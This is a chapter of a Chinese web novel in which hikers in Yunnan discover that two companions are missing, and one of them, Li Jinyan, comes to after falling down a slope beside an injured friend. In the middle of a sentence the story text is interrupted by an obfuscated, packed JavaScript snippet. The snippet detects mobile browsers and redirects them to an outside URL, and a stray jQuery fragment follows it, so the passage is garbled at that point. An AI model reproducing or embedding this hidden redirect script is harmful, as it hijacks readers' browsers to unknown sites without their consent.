五点过的山亭里。
关斯扬刚喂完罗美君喝水,又来关心对面的陈梓川,他轻拍陈梓川的膝盖:“怎么样,这个护膝好用吗?”
陈梓川坐在亭边,点点头道:“还行。”
喻炀偏头看他,疑惑道:“这位帅哥膝盖不好?”
陈梓川戴着冲锋衣的帽子,只能看见那高挺的鼻子,喻炀又前倾了一点,发现他唇色有些发白,额间也发汗。
不过大家都差不多这个样子,也没多想。
陈梓川斜看他一眼:“是,五年前废了。”
“嘶~”喻炀:“怎么回事?说来我听听?”
关斯扬笑:“你还懂这些?”
“啧,我急诊科医生啊。”喻炀手撑着大腿:“什么杂七杂八的,我都多少会一点儿,十项全不能嘛。”
关斯扬大笑。
静了两秒,陈梓川双唇轻启:“有机会的话,你会知道的。”
“机会?什么机会?”
“有机会的机会。”
“……”
关斯扬嗤笑一声,陈梓川又开始打哑谜了。他忽然想起了什么,问喻炀:“哎对了,你们明天走哪条线?”
看来是要继续组队,喻炀想了想,说:“大概是冰湖?一会儿问问今晏。”
这个难度高一些,但也还适中,今晏可能会选这个。
关斯扬大剌剌坐在陈梓川旁边,看着他道:“行啊,明天又一起。”
但罗美君说:“看看天气再说吧,万一一直下雨怎么办?我这个冲锋衣感觉快成次抛了。”
这个大牌根本不够防水,尽管有羽绒内胆,她还是觉得寒气刺骨。而且脚也磨出水泡,山顶很多积雪渗入,现在凉从脚底起,大概也被浸得发皱。
听到这话,关斯扬瞬间站起:“你冷吗?”
罗美君马上笑起来安抚他:“没有啦,我还好,就是等会回了客栈要好好休息一下,明天可能没力气呢。”
关斯扬看着她笑得邪魅:“这就没力气啦?这还没到晚上呢……”
“哎!”罗美君堵住他的话,害羞道:“又满嘴跑火车了。”
关斯扬坐到她旁边,握着她的手,看着她恬静的侧脸小声道:“这就不行了?”
罗美君不动声色的抽出手,看向别处:“他们都还在呢。”
陈梓川不知道在看哪里,喻炀倒是看得很开心,幻视他和李今晏。
“那行吧,都依你。回去了我们慢慢说……”关斯扬又拉过她的手抓着,看向对面两人:“那就,明天看情况约吧……”
他看了眼沉默的陈梓川,又问喻炀:“对了,你们这次徒步完就回家吗?还是继续旅游?”
喻炀吃下一块饼干:“我得回去了,不然同事的怨气都要把我湮灭了。今晏嘛,你忘啦?她是背包客呀,肯定是继续玩儿喽!”
“害,你瞧我这记性,差点忘了李今晏是酷酷的背包客哈哈哈哈。”关斯扬:“那当代徐霞客下一站准备去哪里呀!”
喻炀嘿嘿一笑:“听说她这次的路线准备一路往北,经四川到甘肃,然后可能会走个青甘大环线,后面我也不清楚了。”
“哦~四川啊。”关斯扬故意说得很大声,给某人做提示,但那人表情平淡,毫不在意。
喻炀又吃下一根火腿肠:“嗯呢,四川那边风景也很好。”
他大学就是四川的,到时候再找机会给李今晏做做向导。
罗美君看着天色开始变暗,看了看表,指针已经指到五点四十五,她说:“她们是不是去得有点久了?”
关斯扬不觉得:“女孩子嘛,上厕所不都……”
关斯扬被罗美君的眼神制住,剩下的话忽然就转了个弯:“是哈,就一个坑,按理说李今晏该回来了呀。”
罗美君面露疑惑。
喻炀:“会不会是两人陪着说话呢?我给发个消息……唉……水果手机信号不好。我去看看吧。”
喻炀站起身,走了出去。
陈梓川抱起手靠着亭柱,呵,她还真是有本事。有本事让所有人都围着她团团转。
看喻炀走远,关斯扬又问陈梓川:“怎么样,还跟不跟去四川?”
陈梓川回答的很快:“不。”
关斯扬哈哈一笑:“你承认你是跟来云南的了?”
陈梓川:“……”
十分钟后,喻炀回来了,他边大喘着气边跑,脸色苍白眼神惊慌,身后还跟着急匆匆的小白。
喻炀说出的话不异于平地惊雷:
“厕所没人。”
……
陈梓川转过头来,抬眼看他。
大家都知道这句话的意思,不止是厕所没人,是厕所和山道都没人,到处喊了叫了也没人……
关斯扬弹起身:“什么?!”
罗美君忽觉头皮发麻,呼吸骤停:“什么叫厕所没人?会不会在旁边拍照……”
罗美君说到后面声音越来越小,徒步了近10km,又下着小雨,没人会愿意这么累还浪费时间打卡……
喻炀来不及解释了:“我已经打过救援电话,我们快出发找人啊!!!!”
这时,沉默很久的陈梓川忽然出声:“我给她打电话。”
“我打过了!”喻炀大吼,但说完这句的他忽然顿住。
陈梓川怎么知道李今晏的电话?
他拧着眉看他,陈梓川的样子很奇怪。
就是那种说不上来,很微妙的压抑。他抱着的手早就松开,身体有种不自然的僵直。
喻炀犹豫着问:“你……你怎么存了今晏的电话?”
陈梓川站起身,嘴唇抿成一条直线,看着他一字一句:
“我没存,我背得下来。”
背得下来?
喻炀看着他极其熟练的打出一串数字,心下一凉:“你们,是什么关系?”
陈梓川把手机放在耳边,给了他最不想要的回答:“你想的那种关系。”
我想的?我……
喻炀恍然大悟……
呵,呵呵……他说怎么这么奇怪呢?关斯扬一直拉他聊天原来是在套话,这个陈梓川下午的时候阴阳怪气,看他的眼神根本算不上和善。
喻炀退了一步:“你就是那个死去的前任是吧?”
他看看陈梓川,又转头去看关斯扬和罗美君。
好好好!
骗子!
一群骗子!
罗美君站到两人中间:“你们别吵了行不行?现在最重要的是找人啊!”
关斯扬也看向陈梓川:“你也别打了,她五年前就换了号码,你……”
你不是打过……无数遍……
·
李今晏的世界变成了一片混乱的漩涡。
脚下突如其来的失重感袭来,她只觉天旋地转。
坚锐冰冷的碎石、湿滑肮脏的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15867049|176178||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
土植、尖锐的树枝…身体在陡坡上疯狂翻滚和撞击。
一块凸起的岩石狠狠硌在她的左肩下方,剧痛让她眼前一黑,几乎窒息。
紧接着,身体背部又重重撞在一段布满棱角的树根上,右腰被包里的水杯连环撞击,传来一阵令人牙酸的闷响和锐痛。
李今晏死死护着头,蜷缩着身体,不知道过了多久,在身体受到最后一次强力扭转后滚落终于停止,林间一片死寂。
李今晏闭着眼在地上一动不动,她的第一感觉是懵和晕,然后是累,累到就想这么躺倒睡过去……
从生理期的不适、早已渗入寒气的毛衣、徒步的酸痛、再到摔滑的惊心、陈梓川的‘再也不见’、伊夏的质问、最后再到带着这些五味杂陈滚入这云南大山……
这是,真正的身心俱疲!
“唉……”
李今晏轻轻叹了口气。
很快,这些身心俱疲又全部凝成了浑身剧痛,脑中的每根神经都开始疯狂叫嚣起来,身体止不住的痉挛让李今晏狠狠拧着眉,牙关颤抖。
不会残疾了吧……
李今晏忽然想起新闻里那些自.杀未遂断胳膊断腿的,死没死干净,还得麻烦年迈的父母辛苦照看一辈子。
方女士,真是对不起你啊……
但李今晏还没emo多久,就听见伊夏撕心裂肺的哭喊和呻吟。
还能叫得这么大声,还行,还活着。
李今晏被她吵得头疼,无奈之下,只得缓缓睁开眼。
天色渐暗,温度更低,雨珠从冷杉交错的枝桠间坠落,有的砸在松针上弹开,有的直直落进瞳孔。雨滴顺着额发滑落,脑后还能感受到土地的微凉。
李今晏乐观的想,这还真是天然冰敷啊……
李今晏先是动了动指头和腿。
“嘶——”,浑身抽痛得人直冒凉气。
但还好,还有感觉,没有直接断掉。
“别哭了!你哭得我头疼。”李今晏忍者痛喊了一声。
但伊夏的叫声愈发惨烈:“啊——李今晏——我是不是要死了——”
李今晏无语,慢慢挣扎着爬起来,一阵眩晕停止后,她简单检查了下自己:多处擦伤淤青,左肩右腰处剧痛,活动受限但还能动。
周围是茂密的冷杉林,地势较平,相比山势有些凹陷,不知道滚到哪里来了,但可以肯定的是,她们已经远离了主道。
不然伊夏嗷这么几嗓子,居然都没有人回应。
她迅速锁定了伊夏,她瘫在一片青苔边,短发凌乱,脸色惨白满头冷汗,右小腿以一个极不自然的角度扭曲着。
李今晏初步判断,大概是骨折了……
李今晏试着走了一步,“啊—”
浑身哪哪都痛。
她强忍着,瘸着腿走到伊夏身旁,发现她白皙的左脸上也被刮了一道五厘米的口子,巨大疼痛和恐惧让她语无伦次,哭泣不止。
李今晏叉腰低看着她,有些怨气:
“你能安静一会儿吗?”
如果不是她拽着,她根本不会摔下来!
“我怎么冷静啊!”伊夏还是哭个不停:“呜呜呜,真是倒霉死了!都是那个死狗!”
李今晏攥紧手,生气道:“你敢再骂一句试试?”
她那样子伊夏没见过,脸色很差,声音冰凉,伊夏闭上嘴,不敢多说了。只是依然还哼哼着,肩膀小幅抽搐以示难受。